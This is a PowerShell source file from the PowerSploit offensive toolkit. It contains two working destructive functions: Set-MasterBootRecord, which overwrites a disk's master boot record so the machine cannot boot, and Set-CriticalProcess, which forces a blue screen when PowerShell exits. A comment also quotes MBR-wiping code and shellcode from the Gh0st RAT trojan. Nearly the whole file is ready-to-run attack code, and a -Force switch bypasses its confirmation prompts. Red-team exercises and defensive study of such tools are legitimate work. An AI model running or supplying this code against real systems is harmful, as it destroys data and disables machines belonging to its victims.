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12ce71b Nov 4, 2015
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function Set-MasterBootRecord
{
<#
.SYNOPSIS
Proof of concept code that overwrites the master boot record with the
message of your choice.
PowerSploit Function: Set-MasterBootRecord
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Set-MasterBootRecord is proof of concept code designed to show that it is
possible with PowerShell to overwrite the MBR. This technique was taken
from a public malware sample. This script is inteded solely as proof of
concept code.
.PARAMETER BootMessage
Specifies the message that will be displayed upon making your computer a brick.
.PARAMETER RebootImmediately
Reboot the machine immediately upon overwriting the MBR.
.PARAMETER Force
Suppress the warning prompt.
.EXAMPLE
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
.NOTES
Obviously, this will only work if you have a master boot record to
overwrite. This won't work if you have a GPT (GUID partition table)
#>
<#
This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):
// CGh0stApp message handlers
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
#>
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
[ValidateLength(1, 479)]
[String]
$BootMessage = 'Stop-Crying; Get-NewHardDrive',
[Switch]
$RebootImmediately,
[Switch]
$Force
)
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
throw 'This script must be executed from an elevated command prompt.'
}
if (!$Force)
{
if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.'))
{
return
}
}
#region define P/Invoke types dynamically
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
@('kernel32.dll'),
[Reflection.FieldInfo[]]@($SetLastError),
@($True))
# Define [Win32.Kernel32]::DeviceIoControl
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CreateFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[IntPtr],
[Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::WriteFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CloseHandle
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32 = $TypeBuilder.CreateType()
#endregion
$LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5)))
# Convert the boot message to a byte array
$MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage))
[Byte[]] $MBRInfectionCode = @(
0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode
0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color
0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color
0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20
0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length
0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters
0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White
0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string
0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer
) + $MessageBytes
$MBRSize = [UInt32] 512
if ($MBRInfectionCode.Length -gt ($MBRSize - 2))
{
throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes."
}
# Allocate 512 bytes for the MBR
$MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
# Zero-initialize the allocated unmanaged memory
0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
[Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
# Write boot record signature to the end of the MBR
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55)
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA)
# Get the device ID of the boot disk
$DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID
$GENERIC_READWRITE = 0x80000000 -bor 0x40000000
$FILE_SHARE_READWRITE = 2 -bor 1
$OPEN_EXISTING = 3
# Obtain a read handle to the raw disk
$DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0)
if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF))
{
throw "Unable to obtain read/write handle to $DeviceID"
}
$BytesReturned = [UInt32] 0
$BytesWritten = [UInt32] 0
$FSCTL_LOCK_VOLUME = 0x00090018
$FSCTL_UNLOCK_VOLUME = 0x0009001C
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0)
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::CloseHandle($DriveHandle)
Start-Sleep -Seconds 2
[Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes)
Write-Verbose 'Master boot record overwritten successfully.'
if ($RebootImmediately)
{
Restart-Computer -Force
}
}
function Set-CriticalProcess
{
<#
.SYNOPSIS
Causes your machine to blue screen upon exiting PowerShell.
PowerSploit Function: Set-CriticalProcess
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.PARAMETER ExitImmediately
Immediately exit PowerShell after successfully marking the process as critical.
.PARAMETER Force
Set the running PowerShell process as critical without asking for confirmation.
.EXAMPLE
Set-CriticalProcess
.EXAMPLE
Set-CriticalProcess -ExitImmediately
.EXAMPLE
Set-CriticalProcess -Force -Verbose
#>
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param (
[Switch]
$Force,
[Switch]
$ExitImmediately
)
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
{
throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.'
}
$Response = $True
if (!$Force)
{
$Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')
}
if (!$Response)
{
return
}
$DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False)
# Define [ntdll]::NtQuerySystemInformation method
$TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess',
'ntdll.dll',
([Reflection.MethodAttributes] 'Public, Static'),
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$ntdll = $TypeBuilder.CreateType()
$ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle
$ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)
$ProcessBreakOnTermination = 29
$SizeUInt32 = 4
try
{
$null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32)
}
catch
{
return
}
Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.'
if ($ExitImmediately)
{
Stop-Process -Id $PID
}
}